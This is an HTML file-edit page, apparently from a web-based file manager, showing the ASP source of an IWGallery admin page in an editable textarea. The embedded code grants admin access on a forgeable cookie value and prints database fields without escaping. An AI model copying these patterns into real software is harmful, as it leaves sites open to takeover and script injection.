Modifica di un file

<title>Modifica di un file</title>
Modificare il file: <i>\iwgallery\admin\inc_home.asp</i><br><form method=post action="edit.asp?action=save&dir=\iwgallery\admin&file=inc_home.asp"><textarea name='content' style='width: 700px;' rows=20 cols=70>&lt;% If LCase(Request.Cookies(&quot;IWGalleryAccess&quot;)) &lt;&gt; &quot;amministratore&quot; Then Response.Redirect(&quot;logout.asp?reason=Accesso negato&quot;) %&gt;
&lt;!--#include virtual=&quot;/iwgallery/ScriptLibrary/incPureUpload.asp&quot; --&gt;
&lt;%
pau_AutoCreatePath(Server.MapPath(strPublicPath &amp; &quot;/_templates&quot;))
%&gt;
&lt;SCRIPT RUNAT=SERVER LANGUAGE=VBSCRIPT&gt;
function Thumbnail(tmb_suff,tmb_filename)
  Dim tmb_NewFilename, tmb_Path, tmb_PosPath, tmb_PosExt
  if not isnull(tmb_filename) then
    tmb_PosPath = InStrRev(tmb_filename,&quot;/&quot;)
    tmb_Path = &quot;&quot;
    if tmb_PosPath &gt; 0 then
      tmb_Path = mid(tmb_filename,1,tmb_PosPath)
    end if
    tmb_PosExt = InStrRev(tmb_filename,&quot;.&quot;)
    if tmb_PosExt &gt; 0 then
      tmb_NewFilename = tmb_Path &amp; mid(tmb_filename,tmb_PosPath+1,tmb_PosExt-(tmb_PosPath+1)) &amp; tmb_suff &amp; &quot;.jpg&quot;
    else
      tmb_NewFilename = tmb_Path &amp; mid(tmb_filename,tmb_PosPath+1,len(tmb_filename)-tmb_PosPath) &amp; tmb_suff &amp; &quot;.jpg&quot;
    end if
  end if
  Thumbnail = tmb_NewFilename
end function
&lt;/SCRIPT&gt;
&lt;SCRIPT RUNAT=SERVER LANGUAGE=VBSCRIPT&gt;					
function DoDateTime(str, nNamedFormat, nLCID)				
	dim strRet								
	dim nOldLCID								
										
	strRet = str								
	If (nLCID &gt; -1) Then							
		oldLCID = Session.LCID						
	End If									
										
	On Error Resume Next							
										
	If (nLCID &gt; -1) Then							
		Session.LCID = nLCID						
	End If									
										
	If ((nLCID &lt; 0) Or (Session.LCID = nLCID)) Then				
		strRet = FormatDateTime(str, nNamedFormat)			
	End If									
										
	If (nLCID &gt; -1) Then							
		Session.LCID = oldLCID						
	End If									
										
	DoDateTime = strRet							
End Function									
&lt;/SCRIPT&gt;									
&lt;!--#include virtual=&quot;/iwgallery/Connections/connIWGallery.asp&quot; --&gt;
&lt;%
Dim rsUsers
Dim rsUsers_numRows

Set rsUsers = Server.CreateObject(&quot;ADODB.Recordset&quot;)
rsUsers.ActiveConnection = MM_connIWGallery_STRING
rsUsers.Source = &quot;SELECT *  FROM USERS  WHERE USE_APPROVED = 0  ORDER BY USE_DATED&quot;
rsUsers.CursorType = 0
rsUsers.CursorLocation = 2
rsUsers.LockType = 1
rsUsers.Open()

rsUsers_numRows = 0
%&gt;
&lt;%
Dim rsPictures
Dim rsPictures_numRows

Set rsPictures = Server.CreateObject(&quot;ADODB.Recordset&quot;)
rsPictures.ActiveConnection = MM_connIWGallery_STRING
rsPictures.Source = &quot;SELECT *  FROM PICTURES, USERS  WHERE PIC_APPROVED = 0 AND PIC_USER = USE_NAME&quot;
rsPictures.CursorType = 0
rsPictures.CursorLocation = 2
rsPictures.LockType = 1
rsPictures.Open()

rsPictures_numRows = 0
%&gt;
&lt;%
Dim Repeat1__numRows
Dim Repeat1__index

Repeat1__numRows = -1
Repeat1__index = 0
rsUsers_numRows = rsUsers_numRows + Repeat1__numRows
%&gt;
&lt;%
Dim Repeat2__numRows
Dim Repeat2__index

Repeat2__numRows = -1
Repeat2__index = 0
rsPictures_numRows = rsPictures_numRows + Repeat2__numRows
%&gt;

&lt;%
'  *** Recordset Stats, Move To Record, and Go To Record: declare stats variables

Dim rsUsers_total
Dim rsUsers_first
Dim rsUsers_last

' set the record count
rsUsers_total = rsUsers.RecordCount

' set the number of rows displayed on this page
If (rsUsers_numRows &lt; 0) Then
  rsUsers_numRows = rsUsers_total
Elseif (rsUsers_numRows = 0) Then
  rsUsers_numRows = 1
End If

' set the first and last displayed record
rsUsers_first = 1
rsUsers_last  = rsUsers_first + rsUsers_numRows - 1

' if we have the correct record count, check the other stats
If (rsUsers_total &lt;&gt; -1) Then
  If (rsUsers_first &gt; rsUsers_total) Then
    rsUsers_first = rsUsers_total
  End If
  If (rsUsers_last &gt; rsUsers_total) Then
    rsUsers_last = rsUsers_total
  End If
  If (rsUsers_numRows &gt; rsUsers_total) Then
    rsUsers_numRows = rsUsers_total
  End If
End If
%&gt;
&lt;%
'  *** Recordset Stats, Move To Record, and Go To Record: declare stats variables

Dim rsPictures_total
Dim rsPictures_first
Dim rsPictures_last

' set the record count
rsPictures_total = rsPictures.RecordCount

' set the number of rows displayed on this page
If (rsPictures_numRows &lt; 0) Then
  rsPictures_numRows = rsPictures_total
Elseif (rsPictures_numRows = 0) Then
  rsPictures_numRows = 1
End If

' set the first and last displayed record
rsPictures_first = 1
rsPictures_last  = rsPictures_first + rsPictures_numRows - 1

' if we have the correct record count, check the other stats
If (rsPictures_total &lt;&gt; -1) Then
  If (rsPictures_first &gt; rsPictures_total) Then
    rsPictures_first = rsPictures_total
  End If
  If (rsPictures_last &gt; rsPictures_total) Then
    rsPictures_last = rsPictures_total
  End If
  If (rsPictures_numRows &gt; rsPictures_total) Then
    rsPictures_numRows = rsPictures_total
  End If
End If
%&gt;

&lt;%
' *** Recordset Stats: if we don't know the record count, manually count them

If (rsUsers_total = -1) Then

  ' count the total records by iterating through the recordset
  rsUsers_total=0
  While (Not rsUsers.EOF)
    rsUsers_total = rsUsers_total + 1
    rsUsers.MoveNext
  Wend

  ' reset the cursor to the beginning
  If (rsUsers.CursorType &gt; 0) Then
    rsUsers.MoveFirst
  Else
    rsUsers.Requery
  End If

  ' set the number of rows displayed on this page
  If (rsUsers_numRows &lt; 0 Or rsUsers_numRows &gt; rsUsers_total) Then
    rsUsers_numRows = rsUsers_total
  End If

  ' set the first and last displayed record
  rsUsers_first = 1
  rsUsers_last = rsUsers_first + rsUsers_numRows - 1
  
  If (rsUsers_first &gt; rsUsers_total) Then
    rsUsers_first = rsUsers_total
  End If
  If (rsUsers_last &gt; rsUsers_total) Then
    rsUsers_last = rsUsers_total
  End If

End If
%&gt;
&lt;%
' *** Recordset Stats: if we don't know the record count, manually count them

If (rsPictures_total = -1) Then

  ' count the total records by iterating through the recordset
  rsPictures_total=0
  While (Not rsPictures.EOF)
    rsPictures_total = rsPictures_total + 1
    rsPictures.MoveNext
  Wend

  ' reset the cursor to the beginning
  If (rsPictures.CursorType &gt; 0) Then
    rsPictures.MoveFirst
  Else
    rsPictures.Requery
  End If

  ' set the number of rows displayed on this page
  If (rsPictures_numRows &lt; 0 Or rsPictures_numRows &gt; rsPictures_total) Then
    rsPictures_numRows = rsPictures_total
  End If

  ' set the first and last displayed record
  rsPictures_first = 1
  rsPictures_last = rsPictures_first + rsPictures_numRows - 1
  
  If (rsPictures_first &gt; rsPictures_total) Then
    rsPictures_first = rsPictures_total
  End If
  If (rsPictures_last &gt; rsPictures_total) Then
    rsPictures_last = rsPictures_total
  End If

End If
%&gt;
&lt;script language=&quot;javascript&quot; src=&quot;../ScriptLibrary/OpenImage.js&quot;&gt;&lt;/script&gt;
&lt;script language=&quot;JavaScript&quot; type=&quot;text/JavaScript&quot;&gt;
&lt;!--
function GP_popupConfirmMsg(msg) { //v1.0
  document.MM_returnValue = confirm(msg);
}
//--&gt;
&lt;/script&gt;
&lt;table width=&quot;100%&quot; border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;box&quot;&gt; 
  &lt;tr&gt; 
    &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;&lt;table width=&quot;100%&quot;  border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
      &lt;tr&gt;
        &lt;td width=&quot;1&quot; align=&quot;left&quot; class=&quot;box-header&quot;&gt;&lt;img src=&quot;../themes/&lt;%= strTheme %&gt;/box-header-left.jpg&quot;&gt;&lt;/td&gt;
        &lt;td width=&quot;100%&quot; class=&quot;box-header&quot;&gt;Da approvare &lt;/td&gt;
        &lt;td width=&quot;1&quot; align=&quot;right&quot; class=&quot;box-header&quot;&gt;&lt;img src=&quot;../themes/&lt;%= strTheme %&gt;/box-header-right.jpg&quot;&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/table&gt;&lt;/td&gt; 
  &lt;/tr&gt; 
  &lt;tr&gt; 
    &lt;td align=&quot;left&quot; valign=&quot;top&quot; class=&quot;box-main&quot;&gt;&lt;table width=&quot;100%&quot;  border=&quot;0&quot; cellspacing=&quot;1&quot; cellpadding=&quot;0&quot; class=&quot;content&quot;&gt;
      &lt;tr&gt;
        &lt;td&gt;Utenti: &lt;span class=&quot;evidence&quot;&gt;&lt;%=(rsUsers_total)%&gt;&lt;/span&gt;&lt;/td&gt;
        &lt;td&gt;&amp;nbsp;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/table&gt;
      
      &lt;% If Not rsUsers.EOF Or Not rsUsers.BOF Then %&gt;
      &lt;table width=&quot;100%&quot;  border=&quot;0&quot; cellspacing=&quot;1&quot; cellpadding=&quot;0&quot; class=&quot;grid&quot;&gt;
        &lt;tr class=&quot;grid-header&quot;&gt;
          &lt;td width=&quot;1%&quot;&gt;&amp;nbsp;&lt;/td&gt;
          &lt;td&gt;Login&lt;/td&gt;
          &lt;td&gt;Nome e Cognome &lt;/td&gt;
          &lt;td width=&quot;1%&quot; align=&quot;center&quot;&gt;Data&lt;/td&gt;
          &lt;td width=&quot;1%&quot;&gt;&amp;nbsp;&lt;/td&gt;
          &lt;td width=&quot;1%&quot;&gt;&amp;nbsp;&lt;/td&gt;
        &lt;/tr&gt;
        &lt;% 
While ((Repeat1__numRows &lt;&gt; 0) AND (NOT rsUsers.EOF)) 
%&gt;
        &lt;% If Repeat1__numRows Mod 2 Then %&gt;
        &lt;tr class=&quot;grid-main&quot; onMouseOver=&quot;this.className='grid-over'&quot; onMouseOut=&quot;this.className='grid-main'&quot;&gt;
          &lt;% Else %&gt;
        &lt;tr class=&quot;grid-alt&quot; onMouseOver=&quot;this.className='grid-over'&quot; onMouseOut=&quot;this.className='grid-alt'&quot;&gt;
          &lt;% End If %&gt;
          &lt;td width=&quot;1%&quot; align=&quot;center&quot;&gt;&lt;a href=&quot;mailto:&lt;%=(rsUsers.Fields.Item(&quot;USE_EMAIL&quot;).Value)%&gt;&quot;&gt;&lt;img src=&quot;../images/icon_mail_0.gif&quot; alt=&quot;E-mail&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;&lt;%=(rsUsers.Fields.Item(&quot;USE_NAME&quot;).Value)%&gt;&lt;/td&gt;
          &lt;td&gt;&lt;%=(rsUsers.Fields.Item(&quot;USE_FIRST&quot;).Value)%&gt;&amp;nbsp;&lt;%=(rsUsers.Fields.Item(&quot;USE_LAST&quot;).Value)%&gt;&lt;/td&gt;
          &lt;td align=&quot;center&quot; nowrap&gt;&lt;%= DoDateTime((rsUsers.Fields.Item(&quot;USE_DATED&quot;).Value), 2, 2057) %&gt;&lt;/td&gt;
          &lt;td align=&quot;center&quot;&gt;&lt;a href=&quot;users_edit.asp?iUser=&lt;%=(rsUsers.Fields.Item(&quot;USE_ID&quot;).Value)%&gt;&amp;nUser=&lt;%=(rsUsers.Fields.Item(&quot;USE_NAME&quot;).Value)%&gt;&quot;&gt;&lt;img src=&quot;../images/icon_edit.gif&quot; alt=&quot;Modifica/Approva&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td align=&quot;center&quot;&gt;&lt;a href=&quot;users_delete.asp?iUser=&lt;%=(rsUsers.Fields.Item(&quot;USE_ID&quot;).Value)%&gt;&amp;nUser=&lt;%=(rsUsers.Fields.Item(&quot;USE_NAME&quot;).Value)%&gt;&quot; onClick=&quot;GP_popupConfirmMsg('Cancellare definitivamente l\'Utente selezionato (&lt;%=(rsUsers.Fields.Item(&quot;USE_NAME&quot;).Value)%&gt;)?');return document.MM_returnValue&quot;&gt;&lt;img src=&quot;../images/icon_delete.gif&quot; alt=&quot;Cancella&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/td&gt;
        &lt;/tr&gt;
        &lt;% 
  Repeat1__index=Repeat1__index+1
  Repeat1__numRows=Repeat1__numRows-1
  rsUsers.MoveNext()
Wend
%&gt;
  
    &lt;/table&gt;
      &lt;% End If ' end Not rsUsers.EOF Or NOT rsUsers.BOF %&gt;

      &lt;hr size=&quot;1&quot; noshade&gt;
		&lt;table width=&quot;100%&quot;  border=&quot;0&quot; cellspacing=&quot;1&quot; cellpadding=&quot;0&quot;&gt;
  &lt;tr&gt;
    &lt;td&gt;Immagini: &lt;span class=&quot;evidence&quot;&gt;&lt;%=(rsPictures_total)%&gt;&lt;/span&gt;&lt;/td&gt;
    &lt;td&gt;&amp;nbsp;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;

	    
        &lt;% If Not rsPictures.EOF Or Not rsPictures.BOF Then %&gt;
        &lt;table width=&quot;100%&quot;  border=&quot;0&quot; cellspacing=&quot;1&quot; cellpadding=&quot;0&quot; class=&quot;grid&quot;&gt;
          &lt;tr class=&quot;grid-header&quot;&gt;
            &lt;td width=&quot;1%&quot; align=&quot;center&quot;&gt;Immagine&lt;/td&gt;
            &lt;td&gt;Autore&lt;/td&gt;
            &lt;td width=&quot;80&quot; align=&quot;center&quot;&gt;Data&lt;/td&gt;
            &lt;td width=&quot;1%&quot;&gt;&amp;nbsp;&lt;/td&gt;
            &lt;td width=&quot;1%&quot;&gt;&amp;nbsp;&lt;/td&gt;
          &lt;/tr&gt;
          &lt;% 
While ((Repeat2__numRows &lt;&gt; 0) AND (NOT rsPictures.EOF)) 
%&gt;
          &lt;% If Repeat2__numRows Mod 2 Then %&gt;
          &lt;tr class=&quot;grid-main&quot; onMouseOver=&quot;this.className='grid-over'&quot; onMouseOut=&quot;this.className='grid-main'&quot;&gt;
            &lt;% Else %&gt;
          &lt;tr class=&quot;grid-alt&quot; onMouseOver=&quot;this.className='grid-over'&quot; onMouseOut=&quot;this.className='grid-alt'&quot;&gt;
            &lt;% End If %&gt;
            &lt;td align=&quot;center&quot;&gt;&lt;a href=&quot;javascript:OpenImage('&lt;%= strPublicPath %&gt;/&lt;%=(rsPictures.Fields.Item(&quot;PIC_FILE&quot;).Value)%&gt;')&quot;&gt;&lt;img src=&quot;&lt;%= strPublicPath %&gt;/&lt;%= Thumbnail(&quot;_small&quot;,(rsPictures.Fields.Item(&quot;PIC_FILE&quot;).Value)) %&gt;&quot;  title=&quot;&lt;%=(rsPictures.Fields.Item(&quot;PIC_TITLE&quot;).Value)%&gt; (&lt;%=(rsPictures.Fields.Item(&quot;PIC_FILE&quot;).Value)%&gt;)&quot; alt=&quot;&lt;%=(rsPictures.Fields.Item(&quot;PIC_TITLE&quot;).Value)%&gt; (&lt;%=(rsPictures.Fields.Item(&quot;PIC_FILE&quot;).Value)%&gt;)&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/td&gt;
            &lt;td&gt;&lt;a href=&quot;mailto:&lt;%=(rsPictures.Fields.Item(&quot;USE_EMAIL&quot;).Value)%&gt;&quot;&gt;&lt;img src=&quot;../images/icon_mail_0.gif&quot; alt=&quot;Scrivi&quot; border=&quot;0&quot; align=&quot;absmiddle&quot;&gt;&lt;/a&gt; &lt;span class=&quot;evidence&quot; title=&quot;&lt;%=(rsPictures.Fields.Item(&quot;USE_NAME&quot;).Value)%&gt; - &lt;%=(rsPictures.Fields.Item(&quot;USE_FIRST&quot;).Value)%&gt;&amp;nbsp;&lt;%=(rsPictures.Fields.Item(&quot;USE_LAST&quot;).Value)%&gt;&quot;&gt;&lt;%=(rsPictures.Fields.Item(&quot;USE_NAME&quot;).Value)%&gt;&lt;/span&gt;&lt;/td&gt;
            &lt;td align=&quot;center&quot;&gt;&lt;%= DoDateTime((rsPictures.Fields.Item(&quot;PIC_DATED&quot;).Value), 2, 2057) %&gt;&lt;/td&gt;
            &lt;td align=&quot;center&quot;&gt;&lt;a href=&quot;pictures_edit.asp?iData=&lt;%=(rsPictures.Fields.Item(&quot;PIC_ID&quot;).Value)%&gt;&amp;iCat=&lt;%=(rsPictures.Fields.Item(&quot;PIC_CATEGORY&quot;).Value)%&gt;&amp;lCat=&lt;%=(rsPictures.Fields.Item(&quot;PIC_LISTING&quot;).Value)%&gt;&quot;&gt;&lt;img src=&quot;../images/icon_edit.gif&quot; alt=&quot;Modifica&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/td&gt;
            &lt;td align=&quot;center&quot;&gt;&lt;a href=&quot;pictures_delete.asp?iData=&lt;%=(rsPictures.Fields.Item(&quot;PIC_ID&quot;).Value)%&gt;&amp;iCat=&lt;%=(rsPictures.Fields.Item(&quot;PIC_CATEGORY&quot;).Value)%&gt;&amp;lCat=&lt;%=(rsPictures.Fields.Item(&quot;PIC_LISTING&quot;).Value)%&gt;&quot; onClick=&quot;GP_popupConfirmMsg('Cancellare definitivamente l\'immagine &lt;%=(rsPictures.Fields.Item(&quot;PIC_FILE&quot;).Value)%&gt;?');return document.MM_returnValue&quot;&gt;&lt;img src=&quot;../images/icon_delete.gif&quot; alt=&quot;Cancella&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;/tr&gt;
          &lt;% 
  Repeat2__index=Repeat2__index+1
  Repeat2__numRows=Repeat2__numRows-1
  rsPictures.MoveNext()
Wend
%&gt;
        &lt;/table&gt;
        &lt;% End If ' end Not rsPictures.EOF Or NOT rsPictures.BOF %&gt;&lt;/td&gt;
  &lt;/tr&gt; 
  &lt;tr&gt;
    &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;&lt;table width=&quot;100%&quot;  border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
      &lt;tr&gt;
        &lt;td width=&quot;1&quot; align=&quot;left&quot; class=&quot;box-bottom&quot;&gt;&lt;img src=&quot;../themes/&lt;%= strTheme %&gt;/box-bottom-left.jpg&quot;&gt;&lt;/td&gt;
        &lt;td width=&quot;100%&quot; class=&quot;box-bottom&quot;&gt;&lt;img src=&quot;../images/shim.gif&quot; width=&quot;1&quot; height=&quot;1&quot;&gt;&lt;/td&gt;
        &lt;td width=&quot;1&quot; align=&quot;right&quot; class=&quot;box-bottom&quot;&gt;&lt;img src=&quot;../themes/&lt;%= strTheme %&gt;/box-bottom-right.jpg&quot;&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/table&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;

&lt;%
rsUsers.Close()
Set rsUsers = Nothing
%&gt;
&lt;%
rsPictures.Close()
Set rsPictures = Nothing
%&gt;
</textarea><br><input type=submit value='Save !'></form>[<a href="sfmanager.asp?dir=%5Ciwgallery%5Cadmin">Íàçàä</a>]